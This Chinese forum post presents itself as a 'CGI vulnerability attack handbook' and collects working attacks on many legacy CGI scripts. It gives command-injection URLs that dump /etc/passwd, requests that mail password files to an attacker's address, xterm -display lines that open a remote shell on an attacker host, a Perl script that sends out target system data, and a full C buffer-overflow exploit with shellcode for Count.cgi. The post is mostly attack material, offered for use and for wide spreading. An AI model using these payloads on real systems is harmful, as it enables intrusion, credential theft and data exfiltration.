在论坛里看到过bamboo写的CGI 漏洞 利用的文章,我就想把他扩大一些.一直想完善一些再贴上来,但我并没有机会和时间试过所有漏洞,想到 论坛 里还有那么多同志会来完善的,就取名CGI漏洞攻击手册version-0.02(升级了bamboo的),旨在抛砖引玉,欢迎任意修改,增加...更欢迎任意散播.:) 一.phf漏洞 这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示/etc/passwd: lynx http://HdhCmsTestvictim测试数据/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 但是我们还能找到它吗? 二.php.cgi 2.0beta10或更早版本的漏洞 可以读nobody权限的所有文件. lynx http://HdhCmsTestvictim测试数据/cgi-bin/php.cgi?/etc/passwd php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在/etc/master.passwd /etc/security/passwd等. 三.whois_raw.cgi lynx http://HdhCmsTestvictim测试数据/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd lynx http://HdhCmsTestvictim测试数据/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0 四.faxsurvey lynx http://HdhCmsTestvictim测试数据/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd 五.textcounter.pl 如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令. #!/usr/bin/perl $URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this $EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this if ($ARGV[0]) { $CMD=$ARGV[0];}else{ $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one"; }$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\n"; system({"wget"} "wget", $text, "-O/dev/null"); system({"wget"} "wget", $text, "-O/dev/null"); #system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx #system({"lynx"} "lynx", $text); 六.一些版本(1.1)的info2www的漏洞 $ REQUEST_METHOD=GET ./info2www '(bin/mail jami </etc/passwd|)' $ You have new mail. $ 说实在我不太明白.:( 七.pfdispaly.cgi lynx -source \ 'http://HdhCmsTestvictim测试数据/cgi-bin/pfdispaly.cgi?/etc/motd' pfdisplay.cgi还有另外一个漏洞可以执行命令 lynx -dump http://HdhCmsTestvictim测试数据/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' or lynx -dump \ http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' 八.wrap lynx http://HdhCmsTestvictim测试数据/cgi-bin/wrap?/etc 九.www-sql 可以让你读一些受限制的页面如: 在你的浏览器里输入:http://your.server/protected/something.html: 被要求输入帐号和口令.而有www-sql就不必了: http://your.server/cgi-bin/www-sql/protected/something.html: 十.view-source lynx http://HdhCmsTestvictim测试数据/cgi-bin/view-source?etc/passwd 十一.campas lynx http://HdhCmsTestvictim测试数据/cgi-bin/campas?%0acat%0a/etc/passwd%0a 十二.webgais telnet HdhCmsTestvictim测试数据 80 POST /cgi-bin/webgais HTTP/1.0 Content-length: 85 (replace this with the actual length of the "exploit"line) query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph 十三.websendmail telnet HdhCmsTestvictim测试数据 80 POST /cgi-bin/websendmail HTTP/1.0 Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90) receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a 十四.handler telnet HdhCmsTestvictim测试数据 80 GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0 or GET /cgi-bin/handler/blah;xwsh -display yourhost测试数据|?data=Download or GET /cgi-bin/handler/<tab>;;xterm<tab>;-display<tab>;danish:0<tab>;-e<tab>;/bin/sh|<tab>;?data=Download 注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命令. 十五.test-cgi lynx http://HdhCmsTestvictim测试数据/cgi-bin/test-cgi?\whatever CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = victim测试数据 GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = 得到一些http的目录 lynx http://HdhCmsTestvictim测试数据/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd 这招好象并不管用.:( lynx http://HdhCmsTestvictim测试数据/cgi-bin/nph-test-cgi?/* 还可以这样试 GET /cgi-bin/test-cgi?* HTTP/1.0 GET /cgi-bin/test-cgi?x * GET /cgi-bin/nph-test-cgi?* HTTP/1.0 GET /cgi-bin/nph-test-cgi?x * GET /cgi-bin/test-cgi?x HTTP/1.0 * GET /cgi-bin/nph-test-cgi?x HTTP/1.0 * 十六.对于某些BSD的apache可以: lynx http://HdhCmsTestvictim测试数据/root/etc/passwd lynx http://HdhCmsTestvictim测试数据/~root/etc/passwd 十七.htmlscript lynx http://HdhCmsTestvictim测试数据/cgi-bin/htmlscript?etc/passwd 十八.jj.c The demo cgi program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a followed by a Unix command. It may require a password, but two known passwords include HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program running strings on it will probably reveil the password. Do a web search on jj.c to get a copy and study the code yourself if you have more questions. 十九.Frontpage extensions 如果你读http://HdhCmsTestvictim测试数据/_vti_inf.html你将得到FP extensions的版本 和它在服务器上的路径. 还有一些密码文件如: http://HdhCmsTestvictim测试数据/_vti_pvt/service.pwd http://HdhCmsTestvictim测试数据/_vti_pvt/users.pwd http://HdhCmsTestvictim测试数据/_vti_pvt/authors.pwd http://HdhCmsTestvictim测试数据/_vti_pvt/administrators.pwd 二十.Freestats测试数据 CGI 没有碰到过,觉的有些地方不能搞错,所以直接贴英文. John Carlton found following. He developed an exploit for the free web stats services offered at freestats测试数据, and supplied the webmaster with proper code to patch the bug. Start an account with freestats测试数据, and log in. Click on the area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER INFO" This will call up a file called edit.pl with your user # and password included in it. Save this file to your hard disk and open it with notepad. The only form of security in this is a hidden attribute on the form element of your account number. Change this from *input type=hidden name=account value=your#* to *input type=text name=account value=""* Save your page and load it into your browser. Their will now be a text input box where the hidden element was before. Simply type a # in and push the "click here to update user profile" and all the information that appears on your screen has now been written to that user profile. But that isn't the worst of it. By using frames (2 frames, one to hold this page you just made, and one as a target for the form submission) you could change the password on all of their accounts with a simple JavaScript function. Deep inside the web site authors still have the good old "edit.pl" script. It takes some time to reach it (unlike the path described) but you can reach it directly at: http://HdhCmsTestsitetracker测试数据/cgi-bin/edit.pl?account=&password= 二十一.Vulnerability in Glimpse HTTP telnet target.machine测试数据 80 GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp测试数据\</etc/passwd;eval$CMD;echo HTTP/1.0 二十二.Count.cgi 该程序只对Count.cgi 24以下版本有效： /*### count.c ########################################################*/ #include <stdio.h>; #include <stdlib.h>; #include <getopt.h>; #include <unistd.h>; #include <sys/socket.h>; #include <sys/types.h>; #include <netinet/in.h>; #include <netdb.h>; #include <errno.h>; /* Forwards */ unsigned long getsp(int); int usage(char *); void doit(char *,long, char *); /* Constants */ char sh*ll []= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0"; char endpad[]= "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int main (int argc, char *argv[]){ char *sh*ll code = NULL; int cnt,ver,retcount, dispnum,dotquads[4],offset; unsigned long sp; char dispname[255]; char *host; offset = sp = cnt = ver = 0; fprintf(stderr,"\t%s - Gus\n",argv[0]); if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) { switch(cnt){ case 'h': host = optarg; break; case 'd': { retcount = sscanf(optarg, "%d.%d.%d.%d:%d", &dotquads[0], &dotquads[1], &dotquads[2], &dotquads[3], &dispnum); if (retcount != 5) usage(argv[0]); sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum); sh*ll code=malloc(strlen((char *)optarg)+strlen(sh*ll )+strlen(endpad)); sprintf(sh*ll code,"%s%s%s",sh*ll ,dispname,endpad); } break; case 'v': ver = atoi(optarg); break; case 'o': offset = atoi(optarg); break; default: usage(argv[0]); break; } } sp = offset + getsp(ver); (void)doit(host,sp,sh*ll code); exit(0); } unsigned long getsp(int ver) { /* Get the stack pointer we should be using. YMMV. If it does not work, try using -o X, where x is between -1500 and 1500 */ unsigned long sp=0; if (ver == 15) sp = 0xbfffea50; if (ver == 20) sp = 0xbfffea50; if (ver == 22) sp = 0xbfffeab4; if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */ if (sp == 0) { fprintf(stderr,"I don't have an sp for that version try using the -o option.\n"); fprintf(stderr,"Versions above 24 are patched for this bug.\n"); exit(1); } else { return sp; } } int usage (char *name) { fprintf(stderr,"\tUsage:%s -h host -d <display>; -v <version>; [-o <offset>;]\n",name); fprintf(stderr,"\te.g. %s -h HdhCmsTestfoo.bar -d 127.0.0.1:0 -v 22\n",name); exit(1); } int openhost (char *host, int port) { int sock; struct hostent *he; struct sockaddr_in sa; he = gethostbyname(host); if (he == NULL) { perror("Bad hostname\n"); exit(-1); } memcpy(&sa.sin_addr, he->;h_addr, he->;h_length); sa.sin_port=htons(port); sa.sin_family=AF_INET; sock=socket(AF_INET,SOCK_STREAM,0); if (sock < 0) { perror ("cannot open socket"); exit(-1); } bzero(&sa.sin_zero,sizeof (sa.sin_zero)); if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) { perror("cannot connect to host"); exit(-1); } return(sock); } void doit (char *host,long sp, char *sh*ll code) { int cnt,sock; char qs[7000]; int bufsize = 16; char buf[bufsize]; char chain[] = "user=a"; bzero(buf); for(cnt=0;cnt<4104;cnt+=4) { qs[cnt+0] = sp & 0x000000ff; qs[cnt+1] = (sp & 0x0000ff00) >;>; 8; qs[cnt+2] = (sp & 0x00ff0000) >;>; 16; qs[cnt+3] = (sp & 0xff000000) >;>; 24; } strcpy(qs,chain); qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff; qs[4105]=(sp&0x0000ff00)>;>;8; qs[4106]=(sp&0x00ff0000)>;>;16; qs[4107]=(sp&0xff000000)>;>;24; qs[4108]= sp&0x000000ff; qs[4109]=(sp&0x0000ff00)>;>;8; qs[4110]=(sp&0x00ff0000)>;>;16; qs[4111]=(sp&0xff000000)>;>;24; qs[4112]= sp&0x000000ff; qs[4113]=(sp&0x0000ff00)>;>;8; qs[4114]=(sp&0x00ff0000)>;>;16; qs[4115]=(sp&0xff000000)>;>;24; qs[4116]= sp&0x000000ff; qs[4117]=(sp&0x0000ff00)>;>;8; qs[4118]=(sp&0x00ff0000)>;>;16; qs[4119]=(sp&0xff000000)>;>;24; qs[4120]= sp&0x000000ff; qs[4121]=(sp&0x0000ff00)>;>;8; qs[4122]=(sp&0x00ff0000)>;>;16; qs[4123]=(sp&0xff000000)>;>;24; qs[4124]= sp&0x000000ff; qs[4125]=(sp&0x0000ff00)>;>;8; qs[4126]=(sp&0x00ff0000)>;>;16; qs[4127]=(sp&0xff000000)>;>;24; qs[4128]= sp&0x000000ff; qs[4129]=(sp&0x0000ff00)>;>;8; qs[4130]=(sp&0x00ff0000)>;>;16; qs[4131]=(sp&0xff000000)>;>;24; strcpy((char*)&qs[4132],sh*ll code); sock = openhost(host,80); write(sock,"GET /cgi-bin/Count.cgi?",23); write(sock,qs,strlen(qs)); write(sock," HTTP/1.0\n",10); write(sock,"User-Agent: ",12); write(sock,qs,strlen(qs)); write(sock,"\n\n",2); sleep(1); /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */ /* setenv("HTTP_USER_AGENT",qs,1); setenv("QUERY_STRING",qs,1); system("./Count.cgi"); */ } 用Count.cgi看图片 http://attacked.host测试数据/cgi-bin/Count.cgi?display=image&image=path_to_gif/file.gif 二十三.finger.cgi lynx http://HdhCmsTestvictim测试数据/cgi-bin/finger?@localhost 得到主机上登陆的用户名. 二十四.man.sh Robert Moniot found followung. The May 1998 issue of SysAdmin Magazine contains an article, "Web-Enabled Man Pages", which includes source code for very nice cgi script named man.sh to feed man pages to a web browser. The hypertext links to other man pages are an especially attractive feature. Unfortunately, this script is vulnerable to attack. Essentially, anyone who can execute the cgi thru their web browser can run any system commands with the user id of the web server and obtain the output from them in a web page. 二十五.FormHandler.cgi 在表格里加上 <INPUT TYPE="hidden" NAME="reply_message_attach" VALUE="text:/tmp/etc/passwd">; 你的邮箱里就有/etc/passwd 二十六.JFS 相信大家都看过"JFS 侵入PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads 这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样 先lynx "http://securelinux.hackpcweek测试数据/photoads/cgi-bin/edit.cgi?AdNum=31337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere测试数据&Name=%0a1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&Phone=11&Subject=la&password=0&CityStPhone=0&Renewed=0" 创建新AD值绕过$AdNum 的检查后用 lynx 'http://securelinux.hackpcweek测试数据/photoads/cgi-bin/photo.cgi?file=a.jpg&AdNum=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&DataFile=1&Password=0&FILE_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/\home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif' 创建/覆盖用户nobody 有权写的任何文件. 不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道? 二十七.backdoor 看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwsh*ll .pl 前一个是UnlG写的,我没见过 源码 ,有一个是THC写的,packetstorm里有它1.6版的源码.
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